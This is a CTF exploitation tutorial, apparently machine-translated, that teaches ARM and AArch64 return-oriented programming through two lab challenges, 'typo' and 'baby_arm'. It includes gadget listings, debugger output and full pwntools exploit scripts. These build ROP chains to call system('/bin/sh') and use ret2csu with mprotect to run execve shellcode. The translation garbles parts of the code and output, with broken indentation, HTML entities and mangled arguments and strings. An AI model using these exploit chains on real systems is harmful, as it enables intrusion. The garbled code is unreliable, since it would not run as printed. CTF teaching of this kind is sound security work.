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arm - ROP


Because the pwn of architectures such as arm and mips is still a simple stack vulnerability, so I only intend to introduce the rop under arm. The use of other vulnerabilities will be introduced gradually.

Prerequisite knowledge

First look at the function calling convention under arm. The first to fourth parameters of the function are stored in the r0 to r3 registers, and the remaining parameters are pushed into the stack from right to left. The caller implements stack balancing. The return value of the function is stored in r0

In addition, arm b/bl and other instructions implement jumps; pc register is equivalent to x86 eip, save the address of the next instruction, is also the target we want to control

jarvisoj - typo

Here is an example of jarvisoj's typo, which can be downloaded at [ctf-challenge] (

Determining protection

jarvisOJ_typo [master●●] check ./typo

typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

[*] '/ home / m4x / pwn_repo / jarvisOJ_typo / typo'
    Arch:     arm-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

FOOT: No FOOT (0x8000)

Statically linked programs, no open stack overflow protection and PIE; static link instructions, we can find dangerous functions such as system and "/bin/sh" sensitive strings in binary, because it is No PIE, so we only need stack overflow to construct ropchain to get shell

Using ideas

So we need to find an overflow point, run the program first, because it is statically linked, so you can run it directly when the environment is configured well.

jarvisOJ_typo [master ●●] ./typo
Let's Do Some Typing Exercise~

Press Enter to get start;

Input ~ if you want to quit





qemu: uncaught target signal 11 (Segmentation fault) - core dumped

[1]    1172 segmentation fault  ./typo

There are not many input points in the program, it is easy to find the overflow point.

Constructing ROP

So the idea is very obvious, using the stack overflow construct system("/bin/sh"), first find the gadgets

jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop"   

Gadgets information


0x00020904 : pop {r0, r4, pc}

0x00068bec : pop {r1, pc}

0x00008160 : pop {r3, pc}

0x0000ab0c : pop {r3, r4, r5, pc}

0x0000a958 : pop {r3, r4, r5, r6, r7, pc}

0x00014a70 : pop {r3, r4, r7, pc}

0x000083b0 : pop {r4, pc}

0x00009284 : pop {r4, r5, pc}

0x000095b8 : pop {r4, r5, r6, pc}

0x000082e8 : pop {r4, r5, r6, r7, pc}

0x00023ed4 : pop {r4, r5, r7, pc}

0x00023dbc : pop {r4, r7, pc}

0x00014068 : pop {r7, pc}

Unique gadgets found: 13

We only need to control the first parameter, so we can choose pop {r0, r4, pc} this gadgets to construct the following stack structure.


|             |

|  padding    |


|  padding    | <- frame pointer


|gadgets_addr | <- return address


|binsh_addr   |


|junk_data    |


|system_addr  |


At this time, you need the length of padding and the address of system and /bin/sh. The address of /bin/sh can be found with ROPgadget.

jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh

Strings information


0x0006cb70 : /bin/sh

The length of padding can be easily found using pwntools' cyclic

pwndbg> cyclic 200

pwndbg> c


Program received signal SIGSEGV, Segmentation fault.

0x62616164 in ?? ()


──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────

 R0   0x0

 R1   0xfffef024 ◂— 0x61616161 ('aaaa')

 R2   0x7e

 R3   0x0

R4 0x62616162 (&#39;baab&#39;)
 R5   0x0

 R6   0x0

 R7   0x0

 R8   0x0

 R9   0xa5ec ◂— push   {r3, r4, r5, r6, r7, r8, sb, lr}

 R10  0xa68c ◂— push   {r3, r4, r5, lr}

R11 0x62616163 (&#39;resist&#39;)
 R12  0x0

 SP   0xfffef098 ◂— 0x62616165 ('eaab')

 PC   0x62616164 ('daab')

────────────────────────────────────────────────── ─ [DISASM] ─────────────────────────────────────────────────── ──────
Invalid address 0x62616164

────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────

00:0000│ sp  0xfffef098 ◂— 0x62616165 ('eaab')

01: 0004│ 0xfffef09c ◂- 0x62616166 (&#39;faab&#39;)
02: 0008│ 0xfffef0a0 ◂- 0x62616167 (&#39;gaab&#39;)
03: 000c│ 0xfffef0a4 ◂— 0x62616168 (&#39;haab&#39;)
04:0010│     0xfffef0a8 ◂— 0x62616169 ('iaab')

05: 0014│ 0xfffef0ac ◂- 0x6261616a (&#39;jaab&#39;)
06:0018│     0xfffef0b0 ◂— 0x6261616b ('kaab')

07: 001c│ 0xfffef0b4 ◂- 0x6261616c (&#39;boom&#39;)
Program received signal SIGSEGV

pwndbg> cyclic -l 0x62616164


So the padding length is 112 > Or you can blast the stack overflow directly more violently

As for the address of system, because the binary is removed from the symbol table, we can first use rizzo to restore part of the symbol table (for the recovery symbol table, you can see the reference link first, and will introduce it later). Although rizzo does not work well on this binary, it is fortunate that there are just a few systems in the identified functions.

char *__fastcall system(int a1)


  char *result; // r0

  if ( a1 )

    result = sub_10BA8(a1);


    result = (char *)(sub_10BA8((int)"exit 0") == 0);

  return result;


> Or you can find the system function by searching for the /bin/sh string


All the conditions are there, construct system("/bin/sh")

jarvisOJ_typo [master●●] cat 

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

import sys

import pdb

#  context.log_level = "debug"

#  for i in range(100, 150)[::-1]:

for i in range(112, 123):

    if sys.argv[1] == "l":

io = process (&quot;./ typo&quot;, timeout = 2)
elif sys.argv [1] == &quot;d&quot;:
        io = process(["qemu-arm", "-g", "1234", "./typo"])


        io = remote("", 9888, timeout = 2)

    io.sendafter("quit\n", "\n")

io.recvline ()


    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh

    Strings information


    0x0006c384 : /bin/sh

    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0

    0x00020904 : pop {r0, r4, pc}


    payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)


    io.sendlineafter("\n", payload)

    #  pause()


        #  pdb.set_trace()

io.sendline (&quot;echo aaaa&quot;)
io.recvuntil (&quot;aaaa&quot;, timeout = 1)
    except EOFError:

io.close ()


io.interactive ()

2018 Shanghai University Student Network Security Competition - baby_arm

Static analysis

The title gave a aarch64 schema file without open canary protection

Shanghai2018_baby_arm [master] check ./pwn

+ file ./pwn
./pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped

+ checksec ./pwn

[*] '/home/m4x/pwn_repo/Shanghai2018_baby_arm/pwn'

    Arch:     aarch64-64-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

Look at the program logic

__int64 main_logic()



  write(1LL, "Name:", 5LL);

  read(0LL, input, 512LL);


  return 0LL;


void sub_4007F0()


  __int64 v0; // [xsp+10h] [xbp+10h]

  read(0LL, &v0, 512LL);


The trunk of the program reads 512 characters to a global variable, and in sub_4007F0(), it reads 512 bytes onto the stack. Note that this starts directly from frame pointer + 0x10 Read, so it doesn't matter if you turn on canary protection.


Take a look at the idea, you can directly rop, but we do not know the remote libc version, but also found that the program has a code segment called mprotect

.text:00000000004007C8                 STP             X29, X30, [SP,#-0x10]!
.text:00000000004007CC                 MOV             X29, SP

.text:00000000004007D0                 MOV             W2, #0

.text:00000000004007D4                 MOV             X1, #0x1000

.text:00000000004007D8                 MOV             X0, #0x1000

.text:00000000004007DC                 MOVK            X0, #0x41,LSL#16

.text:00000000004007E0                 BL              .mprotect

.text:00000000004007E4                 NOP

.text:00000000004007E8                 LDP             X29, X30, [SP],#0x10

.text: 00000000004007EC RET

But this code sets the permission bit of mprotect to 0, there is no executable permission, which requires us to control the permissions such as bss section by rop control mprotect to be writable executable.

So you can have the following ideas:

  1. When you type name for the first time, write shellcode in the bss section.
  2. Call mprotect via rop to change the permissions of bss
  3. Return to the shellcode on bss

mprotect needs to control three parameters, you can consider using ret2csu This method can be found as follows Gadgets to control the x0, x1, x2 registers

.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]

.text:00000000004008B0                 MOV             X2, X22

.text:00000000004008B4                 MOV             X1, X23

.text:00000000004008B8                 MOV             W0, W24

.text:00000000004008BC                 ADD             X19, X19, #1

.text:00000000004008C0                 BLR             X3

.text:00000000004008C4                 CMP             X19, X20

.text:00000000004008C8                 B.NE            loc_4008AC


.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j

.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]

.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]

.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]

.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40

.text: 00000000004008DC RET

The final exp is as follows:

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

import sys

context.binary = "./pwn"

context.log_level = "debug"

if sys.argv[1] == "l":

io = process ([ &quot;QEMU-aarch64&quot;, &quot;-The&quot;, &quot;/ usr / aarch64-linux-gnu&quot;, &quot;./pwn&quot;])
elif sys.argv [1] == &quot;d&quot;:
io = process ([ &quot;QEMU-aarch64&quot;, &quot;G&quot;, &quot;1234&quot;, &quot;-The&quot;, &quot;/ usr / aarch64-linux-gnu&quot;, &quot;./pwn&quot;])

io = remote (&quot;;, 33865)

def csu_rop(call, x0, x1, x2):

    payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)

    payload += flat(x2, x1, x0)

    payload += '22222222'

    return payload

if __name__ == "__main__":

    elf = ELF("./pwn", checksec = False)

    padding = asm('mov x0, x0')

    sc = asm(shellcraft.execve("/bin/sh"))

    #  print disasm(padding * 0x10 + sc)

    io.sendafter("Name:", padding * 0x10 + sc)


    #  io.send(cyclic(length = 500, n = 8))

    #  rop = flat()

    payload = flat(cyclic(72), csu_rop(['read'], 0,['__gmon_start__'], 8))

    payload += flat(0x400824)





    raw_input("DEBUG: ")

    io.sendafter("Name:", padding * 0x10 + sc)


    payload = flat(cyclic(72), csu_rop(['__gmon_start__'], 0x411000, 0x1000, 7))

    payload += flat(0x411068)



io.interactive ()


At the same time, it should be noted that the result of the checksec detection is that nx protection is turned on, but the result of this detection is not necessarily accurate, because the nx protection of the program can also be determined by the parameter -nx when qemu is started (such as this The problem can be nx protected by the error detection program when the remote fails. The old version of qemu may not have this parameter.

Desktop ./qemu-aarch64 --version

qemu-aarch64 version 2.7.0, Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers

Desktop ./qemu-aarch64 -h| grep nx

-nx           QEMU_NX           enable NX implementation

If there is an error below, there is no assembler for aarch64

[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challenges/pwn/arm/Shanghai2018_baby_arm/pwn'), bits = 64, endian = 'little', log_level = 10)

    Try installing binutils for this architecture:

Can refer to the official documentation solution

Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64

p   binutils-aarch64-linux-gnu                                         - GNU binary utilities, for aarch64-linux-gnu target

p   binutils-aarch64-linux-gnu:i386                                    - GNU binary utilities, for aarch64-linux-gnu target

p   binutils-aarch64-linux-gnu-dbg                                     - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)

p   binutils-aarch64-linux-gnu-dbg:i386                                - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)

Shanghai2018_baby_arm [master●] sudo apt install bintuils-aarch64-linux-gnu

> aarch64 files are arm64 when libc is installed and aarch64 when binutils is installed.


Codegate2015 - looked